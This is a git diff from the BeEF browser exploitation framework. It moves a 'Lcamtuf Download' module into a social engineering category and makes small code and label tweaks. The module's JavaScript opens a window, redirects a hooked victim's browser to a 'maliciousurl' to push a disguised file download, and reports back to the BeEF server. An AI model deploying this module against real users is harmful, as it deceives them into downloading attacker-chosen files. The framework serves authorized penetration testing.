diff --git a/modules/browser/lcamtuf_download/command.js b/modules/social_engineering/lcamtuf_download/command.js
similarity index 89%
rename from modules/browser/lcamtuf_download/command.js
rename to modules/social_engineering/lcamtuf_download/command.js
index a827c99fa..2982cd00b 100644
--- a/modules/browser/lcamtuf_download/command.js
+++ b/modules/social_engineering/lcamtuf_download/command.js
@@ -21,12 +21,11 @@ beef.execute(function() {
function doit() {
- if (navigator.userAgent.indexOf('MSIE') == -1){
+ if (!beef.browser.isIE()) {
w = window.open('data:text/html,', 'foo');
-
setTimeout(donext, 4500);
-
}
+
}
function donext() {
window.open(maliciousurl, 'foo');
@@ -34,5 +33,5 @@ beef.execute(function() {
once = true;
}
doit();
- beef.net.send("<%= @command_url %>", <%= @command_id %>, "Command executed");
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Command executed");
});
diff --git a/modules/browser/lcamtuf_download/config.yaml b/modules/social_engineering/lcamtuf_download/config.yaml
similarity index 96%
rename from modules/browser/lcamtuf_download/config.yaml
rename to modules/social_engineering/lcamtuf_download/config.yaml
index 0671d8844..329af0cbc 100644
--- a/modules/browser/lcamtuf_download/config.yaml
+++ b/modules/social_engineering/lcamtuf_download/config.yaml
@@ -17,7 +17,7 @@ beef:
module:
lcamtuf_download:
enable: true
- category: "Browser"
+ category: "Social Engineering"
name: "Lcamtuf Download"
description: "This module will attempt to execute a lcamtuf download. The file will be served with an alternative Content-Disposition: attachment header. For more information please refer to http://lcamtuf.blogspot.co.uk/2012/05/yes-you-can-have-fun-with-downloads.html ."
authors: ["Bart Leppens"]
diff --git a/modules/browser/lcamtuf_download/module.rb b/modules/social_engineering/lcamtuf_download/module.rb
similarity index 97%
rename from modules/browser/lcamtuf_download/module.rb
rename to modules/social_engineering/lcamtuf_download/module.rb
index 1d2b707dd..7d163b78c 100644
--- a/modules/browser/lcamtuf_download/module.rb
+++ b/modules/social_engineering/lcamtuf_download/module.rb
@@ -18,7 +18,6 @@ class Lcamtuf_download < BeEF::Core::Command
# set and return all options for this module
def self.options
-
return [{
'name' => 'real_file_uri',
'description' => 'The web accessible URI for the real file.',
@@ -33,7 +32,7 @@ class Lcamtuf_download < BeEF::Core::Command
'value' => '',
'width' => '300px'
},
- { 'name' => 'do_once', 'type' => 'combobox', 'ui_label' => 'Once', 'store_type' => 'arraystore',
+ { 'name' => 'do_once', 'type' => 'combobox', 'ui_label' => 'Run Once', 'store_type' => 'arraystore',
'store_fields' => ['do_once'], 'store_data' => [['false'],['true']],
'valueField' => 'do_once', 'displayField' => 'do_once', 'mode' => 'local', 'value' => 'false', 'autoWidth' => true
}]